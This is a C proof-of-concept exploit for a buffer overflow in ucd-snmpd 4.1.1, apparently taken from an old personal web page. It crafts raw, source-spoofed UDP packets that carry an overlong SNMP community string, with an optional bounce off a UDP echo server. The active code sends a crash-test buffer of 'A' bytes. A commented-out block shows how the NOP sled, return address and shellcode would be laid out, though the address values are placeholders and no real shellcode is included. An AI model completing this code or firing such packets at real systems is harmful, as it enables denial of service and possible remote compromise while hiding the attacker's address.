/* snax.c - public release: Proof of concept exploit for ucd-snmpd-4.1.1.
 *
 * Demonstrates a snmpd exploit not dependant on snmpwalk or any of
 * the ucd snmp utilities.
 *
 * This allows for the packet to be easily spoofed. Included is also a
 * demonstration of how a packet may be bounced off of a UDP echo server.
 *
 * It's not a working exploit. RET_LOC and RET_ADDR are not correct
 * for any platform, and there is no shellcode.
 *
 * This code is intended as an example only. Do not use it maliciously.
 * Tested against Debian 2.2r5 (potato) snmpd_4.1.1-2.deb
 *
 * Author: rpc 
 */
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BUFSIZE 256
#define RET_LOC 232
#define RET_ADDR 0x41414141
#define NOP 0x90
#define ASN1_SZ 11
#define ASN2_SZ 36
#define HDR_SZ sizeof(struct iphdr) + sizeof(struct udphdr)
#define PACKET_SZ ASN1_SZ + ASN2_SZ + BUFSIZE 

int echo = 0;

/* Sniffed ASN values */
char snmp_asn1[] = "\x30\x82\x01\x23\x02\x01\x00\x04\x82\x01\x00"; /* 11 */
char snmp_asn2[] = 
	"\xa0\x82\x00\x20\x02\x04\x57\xc6\x36\xf6\x02\x01"
	"\x00\x02\x01\x00\x30\x82\x00\x10\x30\x82\x00\x0c"
	"\x06\x08\x2b\x06\x01\x02\x01\x01\x05\x00\x05\x00"; /* 36 */

/* the shellcode */
char code[] = "shellcode";

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}

unsigned int resolve(char *host)
{
    struct hostent *he;
    unsigned int ipaddr;

    if((he = gethostbyname(host)) == NULL) {
        /* ip addr, or invalid. */
      if((ipaddr = inet_addr(host)) == -1) {
        printf("error resolving %s.\n", host);
        exit(1);
      }
      return ipaddr;
    }
    memcpy(&ipaddr, he->h_addr, he->h_length);
return ipaddr;
}

char *
make_packet(char *buf, unsigned int src, unsigned int dst)
{
	struct iphdr *ip;
	struct udphdr *udp;
	char *p;

	p   = (char *)malloc(HDR_SZ + PACKET_SZ);
	ip  = (struct iphdr *)p;
	udp = (struct udphdr *)(p + sizeof(*ip));
	
	ip->ihl = 5;
	ip->version = 4;
	ip->tos = 0;
	ip->tot_len = htons(HDR_SZ + PACKET_SZ);
	ip->id = rand(); 
	ip->frag_off = htons(IP_DF);
	ip->ttl = 0x40;
	ip->protocol = IPPROTO_UDP;
	ip->saddr = src;
	ip->daddr = dst;
	ip->check = in_cksum((char *)ip, sizeof(*ip));

	udp->source = echo ? htons(161) : rand();
	udp->dest = echo? htons(7) : htons(161);
	udp->len = htons(PACKET_SZ);
	udp->check = 0; 

	memcpy(p + HDR_SZ, snmp_asn1, ASN1_SZ);
	memcpy(p + HDR_SZ + ASN1_SZ, buf, BUFSIZE);
	memcpy(p + HDR_SZ + ASN1_SZ + BUFSIZE, snmp_asn2, ASN2_SZ);
	return p;
}

int
main(int argc, char *argv[])
{
	struct sockaddr_in sin;
	char buf[BUFSIZE + 1];
	u_int32_t addr;
	char *p;
	int sock;
	int ret;
	int src,dst;
	int arg;
	int one = 1;
		
	if(argc < 3) {
		printf("usage: %s [-e] -s source -d dest\n", argv[0]);
		printf("The -e flag turns on echo mode. This sends the packet to a udp echo server.\n");
		printf("Source and destination IP addresses should be reversed for echo mode.\n");
		exit(1);
	}
	src = dst = -1;
	while((arg = getopt(argc, argv, "es:d:")) != -1) {
		switch(arg) {
			case 'e':
				echo = 1;
				break;
			case 's':
				src = resolve(optarg);
				break;
			case 'd':
				dst = resolve(optarg);
				break;
			default:
				printf("Invalid argument.\n");
				exit(1);
		}
	}
	if(src == -1 || dst == -1) {
		printf("Missing address.\n");
		exit(1);
	}

	/*
		This is for a real exploit..
	addr = RET_ADDR;
	memset(buf, NOP, BUFSIZE);
	memcpy(buf + RET_LOC, &addr, sizeof(addr));
	memcpy(buf + RET_LOC - strlen(code), code, strlen(code));
	*/
	
	memset(buf, 'A', BUFSIZE); /* test */

	buf[BUFSIZE] = '\0';
	p = make_packet(buf, src, dst);

	sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if(sock == -1) {
		perror("socket");
		exit(1);
	}
	if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1) {
		perror("setsockopt");
		exit(1);
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons(161);
	sin.sin_addr.s_addr = dst;

	ret = sendto(sock, p, HDR_SZ + PACKET_SZ, 0, &sin, sizeof(sin));
	if(ret == -1) {
		perror("sendto");
		exit(1);
	}	
	return 0;
}

    Source: geocities.com/f173s